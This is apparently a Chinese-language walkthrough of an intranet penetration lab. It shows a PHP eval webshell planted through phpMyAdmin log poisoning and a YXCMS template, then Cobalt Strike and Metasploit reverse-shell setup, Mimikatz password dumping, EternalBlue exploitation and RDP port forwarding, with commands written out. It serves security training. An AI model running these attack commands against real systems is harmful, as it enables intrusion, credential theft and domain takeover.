内网渗透靶场学习实验
0x01 靶场环境
攻击机:KALI(192.168.122.130)
靶机:win7(外网IP:192.168.122.144或者192.168.122.142;内网IP:192.168.52.143)
win2008(内网IP:192.168.52.138)
win08(内网IP:192.168.52.141)
0x02 外网拿权限
访问目标站点,http://192.168.122.142/yxcms/
方法一:弱口令登录phpmyadmin拿权限
进入phpmyadmin
对目标站点IP进行端口扫描,发现80和3306端口开放
使用dirsearch进行目录扫描
尝试对phpmyadmin进行爆破
phpmyadmin存在弱口令,用户名:root,密码:root
phpMyAdmin 利用日志文件 getshell
在变量中搜索general,查看日志状态,返回结果如下
当开启general log为on时,所执行的sql语句都会出现在stu1.log文件中。那么,如果修改generallogfile的值,那么所执行的sql语句就会对应生成对应的文件中,进而getshell。所以为了get shell,我们将general log设为on,将general log file设为C:/phpStudy/WWW/test.php
通过执行查询语句将一句话木马插入到重新定义的日志文件test.php中
SELECT '<?php eval($_POST["cmd"]);?>'
看一下靶机上的test.php,一句话木马是否插入成功
插入成功后我们用蚁剑连接test.php
成功获取目标服务器权限...
方法二:利用已知cms漏洞getshell
进入管理后台
显而易见,目标靶机使用了yxcms,通过百度可以查询到yxcms的目录结构,得到yxcms的后台路径:/index.php?r=admin/index/login访问http://192.168.122.142/yxcms//index.php?r=admin/index/login
使用yxcms默认用户名密码,admin/123456登录后台,直接登录成功,接入管理后台页面
写入webshell
在前台模板功能中我们可以直接写入一句话木马
Burpsuite抓包后,并没有发现写入文件后返回具体文件路径
不过yxcms泄露了robots.txt
通过泄露的文件路径,一步一步推测找出我们上传的shell_test.php一句话木马
蚁剑连接shell_test.php
成功拿下靶机权限...
0x03 靶机后门上线
拿下服务器权限后就要植入后门,植入后门的方法大致有两种——MSF和Cobalts Strike。这里演示Cobalts Strike的方式。关于MSF生成后门,详见:https://www.cnblogs.com/C0ldCash/p/13733067.html
生成exe可执行后门
执行exe后门
利用蚁剑将exe后门上传到靶机
在蚁剑中使用终端命令行执行exe后门
Cobalts Strike中靶机上线
探测本机信息
1.执行系统命令
2.探测域信息
3.Mimikatz抓取本机密码
成功抓取本机Administrator用户开机密码
利用cablots strike提权
提权到SYSTEM系统权限账户
0x04 内网信息收集
内网信息收集的主要目的就是查找域控以及域内的其他主机
判断是否存在域
使用 ipconfig /all
查看 DNS
服务器:
发现 DNS 服务器名为 god.org
,查看域信息:net view
Cablot Strike自带的net view更好用,可以直接识别IP地址
查看主域信息:net view /domain
查看时间服务器:net time /domain
(一般情况下,时间服务器就是域控)
发现能够执行,说明此台机器在域中 (若是此命令在显示域处显示 WORKGROUP,则不存在域;若是报错:发生系统错误 5,则存在域,但该用户不是域用户,可以进行提权到SYSTEM后执行),所以基本可以确定owa.god.org就是域GOD的域控
确认域控
利用 net group "domain controllers" /domain
命令直接找出域控制器:
域控制器为owa.god.org
对应IP为192.168.52.138
0x05 内网横向移动
SMB Beacon
因为内网的目标机器192.168.52.138和192.168.52.141无法直接连接到KALI(192.168.122.130),所以需要CS派生smb beacon,让内网的主机连接到win7上。
SMB Beacon使用命名管道通过父级Beacon进行通讯,当两个Beacons链接后,子Beacon从父Beacon获取到任务并发送。因为链接的Beacons使用Windows命名管道进行通信,此流量封装在SMB协议中,所以SMB Beacon相对隐蔽,绕防火墙时可能发挥奇效。
新建一个listener
在已有的 Beacon上
右键 Spawn
(生成会话 / 派生),选择创建的 smb beacon
的 listerner
:
cobalt strike反弹shell给msf
反弹shell
配置msf进行监听
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.122.130
msf5 exploit(multi/handler) > set lport 8888
msf5 exploit(multi/handler) > exploit
在cobalt strike中新建listeners(注意:cobalt strike中生成的payload要和msf中监听使用的payload一致)
成功反弹shell
配置静态路由
meterpreter > run get_local_subnets #查看网段/子网
meterpreter > run autoroute -s 192.168.52.0/24 #添加路由
meterpreter > run autoroute -p #查看路由
meterpreter > background #转入后台运行
msf进行内网扫描
1.使用msf自带netbios扫描内存活机器,发现存活机器两台,地址分别为192.168.52.141和192.168.52.138
2.对存活主机进行端口扫描
msf5 > use auxiliary/scanner/portscan/tcp
msf5 > set rhosts xxx.xxx.xxx
msf5 > set ports 80,135-139,3306,3389
msf5 > run
对192.168.52.138进行端口扫描,发现445端口开启
对192.168.52.141进行端口扫描,同样发现445端口开启
利用ms17-010进行攻击
使用msf自带的ms17-010扫描模块对两个内网IP进行漏洞扫描
msf5 > search ms17-010
msf5 > use auxiliary/scanner/smb/smb_ms17_010
msf5 auxiliary(scanner/smb/smb_ms17_010) > set rhosts 192.168.52.138
msf5 auxiliary(scanner/smb/smb_ms17_010) > run
192.168.52.138和192.168.52.141都存在ms17-010漏洞,下面对漏洞进行利用
msf5 auxiliary(admin/smb/ms17_010_command) > use exploit/windows/smb/ms17_010_eternalblue
msf5 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/bind_tcp
msf5 exploit(windows/smb/ms17_010_eternalblue) > set rhosts 192.168.52.138
msf5 exploit(windows/smb/ms17_010_eternalblue) > run
通过msf中的mimikatz抓取用户名密码
1、确认shell权限
确认shell为system权限,可以使用mimikatz抓取明文密码
2、加载mimikatz
load mimikatz
3、使用mimikatz抓取密码
meterpreter > msv 获取的是hash值
meterpreter > ssp 获取的是明文信息
meterpreter > wdigest 读取内存中存放的账号密码明文信息
meterpreter > kerberos 读取内存中存放的账号密码明文信息
截取当前桌面(截图)
screenshot
拿下域控权限
0x06 端口转发连接3389
msf提供端口转发模块,具体命令如下
portfwd
-l:本地监听端口
-r:内网目标的ip
-p:内网目标的端口
执行命令:portfwd add -l 9999 -r 192.168.52.138 -p 3389
;将内网192.168.52.138的3389端口代理到9999端口
连接192.168.52.130:9999
成功控制域控